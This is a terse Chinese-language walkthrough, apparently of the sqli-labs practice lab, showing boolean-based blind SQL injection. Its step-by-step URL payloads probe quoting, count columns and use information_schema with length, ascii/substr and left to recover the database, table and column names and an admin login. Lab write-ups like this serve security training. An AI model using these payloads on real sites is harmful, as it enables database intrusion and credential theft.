输入?id=1
使用‘不报错
双引号不报错
看是否是数字型,and 1=1
再and 1=2,不报错
?id=1' and 1=1 --+
报错
?id=1' and 1=2 --+
可判断字段
order by 3 --+
查字段却发现没回显
盲注第一步,获取数据库长度
获取数据库的名字,判断出第一个库的第一个字母
发现为s
以此类推为security,查表名有多少个
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 --+
判断第四个表有多长
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 --+
查表得长度
?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 3,1)=117--+
以此类推得到表名为users,接下来出列名的username和password
?id=1' and (substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='u' --+
?id=1' and (substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))='s' --+
的列表中的username的admin列
?id=1' and left((select username from users order by id limit 8,1),5)='admin'--+
?id=1' and left((select password from users order by id limit 8,1),5)='admin'--+
得到表中的用户名和密码admin